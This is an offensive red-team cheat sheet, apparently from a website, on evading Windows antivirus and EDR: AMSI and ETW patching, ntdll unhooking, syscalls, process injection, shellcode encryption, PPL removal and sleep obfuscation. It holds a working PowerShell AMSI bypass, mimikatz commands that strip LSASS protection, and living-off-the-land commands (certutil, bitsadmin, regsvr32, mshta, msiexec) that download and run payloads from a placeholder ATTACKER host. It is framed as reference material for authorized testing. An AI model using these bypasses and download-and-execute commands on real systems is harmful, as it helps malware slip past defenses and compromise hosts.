← All cheat sheets

🌶 EVASION-TECHNIQUES

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Modern security products use multiple detection layers: signature-based
detection, heuristic analysis, behavioral monitoring, memory scanning,
ETW-based telemetry, and kernel callbacks. Red teamers must understand
and bypass these layers during engagements. This cheatsheet covers
common evasion techniques for Windows environments.

DISCLAIMER: These techniques are for authorized red team and penetration
testing engagements only. Always operate within scope and with written
authorization.

AMSI scans PowerShell, VBScript, JScript, and .NET assemblies at runtime.
Bypassing AMSI allows execution of flagged scripts and tools.

  # Classic memory patch (amsiScanBuffer)
  # Patch the AmsiScanBuffer function to return AMSI_RESULT_CLEAN
  $a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
  $b = $a.GetField('amsiInitFailed','NonPublic,Static')
  $b.SetValue($null,$true)

  # Reflection-based patch (obfuscated to avoid signature)
  # Multiple variants exist; always test against current signatures

  # AMSI bypass via CLR hooking
  # Patch in-memory before loading .NET assemblies

  # Forcing AMSI errors
  # Corrupt AMSI context in the current process

  # AMSI bypass for .NET (execute-assembly style)
  # Patch before loading the assembly into the CLR

  Key Points:
  - AMSI patches are per-process (must bypass in each new process)
  - Signatures for bypass strings update frequently
  - Obfuscate bypass code (string concatenation, encoding, variable renaming)
  - Test bypass against target's specific AV/EDR before use

ETW provides telemetry to EDR products. Patching ETW prevents events
from being generated in the current process.

  # Patch EtwEventWrite in ntdll.dll
  # Overwrite the function prologue with a RET instruction (0xC3)

  # Conceptual approach:
  # 1. Get address of ntdll!EtwEventWrite
  # 2. Change memory protection to RWX (VirtualProtect)
  # 3. Write RET (0xC3) to the first byte
  # 4. Restore memory protection

  # .NET ETW bypass (patch within CLR)
  # Target Microsoft-Windows-DotNETRuntime provider

  # Targeted ETW providers to patch:
  # - Microsoft-Windows-Threat-Intelligence (kernel ETW - harder)
  # - Microsoft-Windows-DotNETRuntime
  # - Microsoft-Windows-PowerShell

  Key Points:
  - ETW patches affect only the current process
  - Kernel-level ETW (Threat Intelligence) cannot be patched from userland
  - Some EDRs detect ETW patching via periodic integrity checks
  - Combine with other techniques for defense-in-depth evasion

EDRs hook ntdll.dll functions to monitor API calls. Unhooking restores
the original function code, bypassing the EDR's inline hooks.

  # Full ntdll unhooking (replace hooked ntdll with clean copy)
  # 1. Map a fresh copy of ntdll.dll from disk
  # 2. Copy the .text section over the hooked ntdll in memory
  # 3. EDR hooks are removed

  # Methods to get a clean ntdll:
  # - Read from disk: C:\Windows\System32\ntdll.dll
  # - Read from KnownDlls: \KnownDlls\ntdll.dll
  # - Map from a suspended process (fork and read)
  # - Read from disk via direct file system access

  # Perun's Fart technique
  # Suspend all threads, unhook, resume

  # Selective unhooking
  # Only unhook specific functions you need (NtAllocateVirtualMemory,
  # NtProtectVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx)

  # Tools:
  # - RefleXXion (unhook via remapping)
  # - Freshycalls (resolve clean syscall numbers)
  # - TartarusGate (read SSN from hooked ntdll)

  Key Points:
  - Some EDRs detect ntdll remapping via kernel callbacks
  - Combine with direct syscalls for maximum effectiveness
  - Some EDRs re-hook periodically; may need to unhook multiple times
  - Hook detection: compare ntdll .text section with disk copy

Bypass userland hooks entirely by invoking syscalls directly,
skipping the hooked ntdll functions.

  # System Service Number (SSN) must be resolved at runtime
  # SSN changes between Windows versions

  # Methods:
  # Hell's Gate - read SSN from ntdll even if hooked (nearby syscalls)
  # Halo's Gate - variation that handles edge cases
  # Tartarus Gate - handles multiple consecutive hooks
  # SysWhispers2 - generates syscall stubs at compile time
  # SysWhispers3 - adds indirect syscalls support

  # Direct syscall (in-line assembly)
  # mov r10, rcx
  # mov eax, SSN     ; System Service Number
  # syscall
  # ret

  # Indirect syscalls (jump to syscall instruction in ntdll)
  # Resolves a legitimate syscall;ret gadget in ntdll
  # Jumps to it instead of executing syscall directly
  # Avoids detection of syscall instructions outside ntdll

  Key Points:
  - Direct syscalls from non-ntdll memory are detected by some EDRs
  - Indirect syscalls are preferred (syscall instruction is in ntdll)
  - Must resolve SSNs dynamically for portability
  - Combine with unhooking for comprehensive bypass

Inject code into legitimate processes to evade detection.

  Classic Injection (VirtualAllocEx + WriteProcessMemory + CreateRemoteThread):
    # Highly detected; baseline technique
    # Use for testing, not production operations

  APC Injection (QueueUserAPC):
    # Queue payload as APC to target thread
    # Early Bird: inject into suspended process before it initializes
    # Less monitored than CreateRemoteThread

  Process Hollowing:
    # Create suspended process, unmap original image, map payload
    # Runs payload in context of legitimate process
    # Detected by image load callbacks and memory scanning

  Module Stomping / DLL Hollowing:
    # Load a legitimate DLL, overwrite its .text section with payload
    # Payload appears to be part of a legitimate DLL
    # Avoids unbacked memory detection

  Thread Hijacking:
    # Suspend existing thread, modify RIP/EIP, resume
    # No new thread creation (avoids thread creation monitoring)

  Phantom DLL Hollowing:
    # Map a legitimate DLL as SEC_IMAGE, modify before mapping to process
    # Creates a clean-looking memory region

  Transacted Hollowing:
    # Use NTFS transactions to create temporary file with payload
    # Map it as SEC_IMAGE, then rollback transaction
    # File never exists on disk

  Process Ghosting:
    # Create file, mark for deletion, map as image, close handle
    # File is deleted but mapping persists
    # AV cannot scan the file because it is already deleted

  Key Points:
  - Avoid cross-architecture injection (x86 into x64 or vice versa)
  - Inject into processes with expected network activity (browsers, svchost)
  - Self-injection is generally less detected than remote injection
  - Modern EDRs detect most injection via kernel callbacks (ETW TI)

Living Off the Land Binaries - legitimate system tools for malicious purposes.

  # Download payloads
  certutil -urlcache -split -f http://ATTACKER/payload.exe payload.exe
  bitsadmin /transfer job /download /priority high http://ATTACKER/payload.exe C:\temp\payload.exe
  curl http://ATTACKER/payload.exe -o payload.exe
  powershell iwr http://ATTACKER/payload.exe -OutFile payload.exe

  # Execute payloads
  rundll32.exe payload.dll,EntryPoint
  regsvr32 /s /n /u /i:http://ATTACKER/file.sct scrobj.dll
  mshta http://ATTACKER/payload.hta
  msiexec /q /i http://ATTACKER/payload.msi
  forfiles /p C:\Windows /m notepad.exe /c "C:\temp\payload.exe"
  pcalua.exe -a C:\temp\payload.exe

  # Proxy execution
  wmic process call create "payload.exe"
  explorer.exe /root,"C:\temp\payload.exe"

  # Compile and execute
  csc.exe /out:C:\temp\payload.exe C:\temp\payload.cs
  msbuild.exe C:\temp\payload.xml

  Reference: lolbas-project.github.io

Encrypt or encode shellcode to evade static signature detection.

  # AES encryption (most common for custom loaders)
  # Encrypt shellcode with AES-256, decrypt at runtime in memory

  # XOR encoding
  # Simple but effective against basic signatures
  # Use multi-byte XOR keys for better obfuscation

  # RC4 encryption
  # Lightweight, easy to implement in any language

  # UUID/IPv4/IPv6 encoding
  # Encode shellcode as UUIDs or IP addresses
  # UuidFromStringA to decode at runtime

  # MAC address encoding
  # Similar to UUID approach

  # Staged vs Stageless payloads
  # Staged: small loader downloads full payload (smaller on disk, network IOC)
  # Stageless: full payload embedded (larger, no network IOC at execution)

  Key Points:
  - Encrypt shellcode at rest, decrypt only in memory
  - Use environmental keying (derive key from target's hostname, username)
  - Avoid common encryption implementations (use custom or obscure ones)
  - Combine encryption with other techniques (injection, syscalls)

Load a DLL entirely from memory without touching disk or using LoadLibrary.

  # sRDI (Shellcode Reflective DLL Injection)
  # Converts any DLL to position-independent shellcode
  # Execute in-memory without disk write

  # Steps:
  # 1. Allocate memory for the DLL
  # 2. Map PE sections to correct addresses
  # 3. Process relocations
  # 4. Resolve imports (walk PEB for loaded modules)
  # 5. Execute TLS callbacks
  # 6. Call DllMain with DLL_PROCESS_ATTACH

  # Advantages over standard DLL loading:
  # - No file on disk (avoids file-based scanning)
  # - No LoadLibrary call (avoids DLL load monitoring)
  # - No entry in PEB loaded module list (stealth)

  Key Points:
  - Some EDRs detect unbacked executable memory (no file backing)
  - Module stomping can help (overwrite legitimate DLL's code section)
  - Watch for missing PEB entries (some EDRs check for phantom DLLs)

PPL protects critical processes (LSASS, csrss) from being accessed
by non-protected processes, even with admin privileges.

  # PPLDump (exploit vulnerable RTCore64.sys driver)
  # Load vulnerable driver, use it to disable PPL flag in EPROCESS

  # PPLKiller
  # Uses MSI driver or other vulnerable drivers to modify kernel memory

  # Mimikatz driver (mimidrv.sys)
  mimikatz# !+                   # Load mimidrv.sys
  mimikatz# !processprotect /process:lsass.exe /remove

  # PPLFault / PPLMedic
  # Exploit LSASS protection via specific Windows mechanisms

  # BYOVD (Bring Your Own Vulnerable Driver)
  # Load a signed vulnerable driver to gain kernel read/write
  # Disable PPL protection on target process
  # Common drivers: RTCore64.sys, dbutil_2_3.sys, gdrv.sys

  Key Points:
  - Requires administrator privileges (but not SYSTEM for some methods)
  - BYOVD is the most reliable current approach
  - HVCI (Hypervisor-enforced Code Integrity) blocks many BYOVD attacks
  - Some EDRs monitor driver loading and block known vulnerable drivers

Encrypt the beacon/implant in memory during sleep periods to avoid
memory scanning.

  # Ekko technique
  # Use ROP chain with NtContinue to encrypt beacon memory during sleep
  # Triggered by timer callback (CreateTimerQueueTimer)
  # 1. Set memory to RW (VirtualProtect via ROP)
  # 2. Encrypt with SystemFunction032 (RC4) via ROP
  # 3. Sleep (WaitForSingleObject via ROP)
  # 4. Decrypt via ROP
  # 5. Set memory back to RX via ROP

  # Zilean technique
  # Similar to Ekko but uses different timer mechanisms

  # Foliage technique
  # Uses APC injection for sleep obfuscation

  # Stack spoofing (complementary technique)
  # Replace return addresses on the stack during sleep
  # Prevents stack-based thread analysis from identifying the beacon

  # Heap encryption
  # Encrypt heap allocations during sleep to hide strings and data

  Key Points:
  - Sleep obfuscation prevents memory scanners from finding implant
  - Combine with stack spoofing for comprehensive sleep evasion
  - Test against specific EDR; not all techniques work against all products
  - Cobalt Strike 4.7+ has built-in sleep mask kit
  - Havoc Demon has Ekko/Zilean/Foliage built-in

  - Never use default tool configurations or payloads
  - Test payloads against target's AV/EDR in a lab environment
  - Use unique payloads per engagement (avoid hash-based detection)
  - Minimize process creation and prefer in-process execution
  - Use legitimate code signing certificates when possible
  - Avoid well-known tool signatures (customize or rewrite)
  - Combine multiple techniques (layered evasion)
  - Monitor your own network traffic for IOCs
  - Keep implant size reasonable (very large or very small is suspicious)
  - Use environmental keying to prevent sandbox detonation
  - Obfuscate strings and API calls in custom tooling
  - Prefer native Windows APIs and living-off-the-land techniques
  - Stay current: EDR capabilities evolve rapidly